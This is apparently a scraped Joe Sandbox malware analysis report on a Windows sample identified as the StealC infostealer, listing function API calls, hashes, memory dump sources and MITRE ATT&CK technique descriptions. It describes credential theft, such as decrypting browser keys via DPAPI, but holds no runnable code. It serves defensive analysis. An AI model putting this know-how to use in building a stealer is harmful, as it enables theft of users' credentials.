API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: 89b083637296463fbd845a81486f92a7eaff9338ee3fa6fdf002b90a6322c3ec
Instruction ID: 1fd7c7ece3d0614f2120f5c0f33add09aab84554790a6ca3ece30e1eb66c4950
Opcode Fuzzy Hash: 89b083637296463fbd845a81486f92a7eaff9338ee3fa6fdf002b90a6322c3ec
Instruction Fuzzy Hash: D6312CB6D10209ABDF04DBE8DC85AEEB7B8FB49304F144519E905E6241EB349A44CBA2

Function 008B92E0 Relevance: 6.0, APIs: 4, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(008B3AEE,80000000,00000003,00000000,00000003,00000080,00000000,?,008B3AEE,?), ref: 008B92FC
GetFileSizeEx.KERNEL32(000000FF,008B3AEE), ref: 008B9319
CloseHandle.KERNEL32(000000FF), ref: 008B9327

Memory Dump Source

Source File: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID:
API String ID: 1378416451-0
Opcode ID: b3b27b2d191ec665ac7e2a5284bda1e1a1ad5caa617d76810be20afada62ddbd
Instruction ID: 257585cc5a3dc288ab363ee6d8365f6af0b959f1f83dd4c9e0797a0ccddf6fd7
Opcode Fuzzy Hash: b3b27b2d191ec665ac7e2a5284bda1e1a1ad5caa617d76810be20afada62ddbd
Instruction Fuzzy Hash: 53F01975E44208ABDB10DBE4DC49B9E77F9EB58710F10C254F651EB3C0D670A6018B50

Function 008BC742 Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 008BC74E

Part of subcall function 008BBF9F: __amsg_exit.LIBCMT ref: 008BBFAF

__getptd.LIBCMT ref: 008BC765
__amsg_exit.LIBCMT ref: 008BC773
__updatetlocinfoEx_nolock.LIBCMT ref: 008BC797

Memory Dump Source

Source File: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__updatetlocinfo
String ID:
API String ID: 300741435-0
Opcode ID: 0e2e960b5c657c8a8a5577c7957f6f17b6e4df1655f732595367ffbadc3f75b7
Instruction ID: 639d13119375a35f37d0bf2f2b25d1cfd001ad8f880e77a436d7ada6804f552e
Opcode Fuzzy Hash: 0e2e960b5c657c8a8a5577c7957f6f17b6e4df1655f732595367ffbadc3f75b7
Instruction Fuzzy Hash: 45F09A32901A149BD725BBBD9807BEA33A0FF00725F244149F455E63D2CFB499419E9B

Function 008B4F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 008B8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 008B8E0B

lstrcat.KERNEL32(?,00000000), ref: 008B4F7A
lstrcat.KERNEL32(?,008C1070), ref: 008B4F97
lstrcat.KERNEL32(?,01428920), ref: 008B4FAB
lstrcat.KERNEL32(?,008C1074), ref: 008B4FBD

Part of subcall function 008B4910: wsprintfA.USER32 ref: 008B492C
Part of subcall function 008B4910: FindFirstFileA.KERNEL32(?,?), ref: 008B4943

Part of subcall function 008B4910: StrCmpCA.SHLWAPI(?,008C0FDC), ref: 008B4971
Part of subcall function 008B4910: StrCmpCA.SHLWAPI(?,008C0FE0), ref: 008B4987
Part of subcall function 008B4910: FindNextFileA.KERNEL32(000000FF,?), ref: 008B4B7D
Part of subcall function 008B4910: FindClose.KERNEL32(000000FF), ref: 008B4B92

Memory Dump Source

Source File: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: 845e5e2d0749df956da1afe3dcd25452c3b60b470586729fc2d7929e92da6afa
Instruction ID: 51f208faec017282ee99a7be5998427d8b466d8a55b6483fb1fcb781be3eac9c
Opcode Fuzzy Hash: 845e5e2d0749df956da1afe3dcd25452c3b60b470586729fc2d7929e92da6afa
Instruction Fuzzy Hash: 7A219B7A900208A7DB54F7F4DC86EE9377CF764300F004558B659D6291EE74AAC9CBA3

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
file.exe

Function 008B9860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 008A45C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 008A4880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Function 008B9C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Function 008A6280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Function 008B5510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Function 008B17A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Function 008B7500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106
memoryCOMMON

Function 008B69F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Function 008A1220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Function 008B6AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Function 008A47B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Function 008B51F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON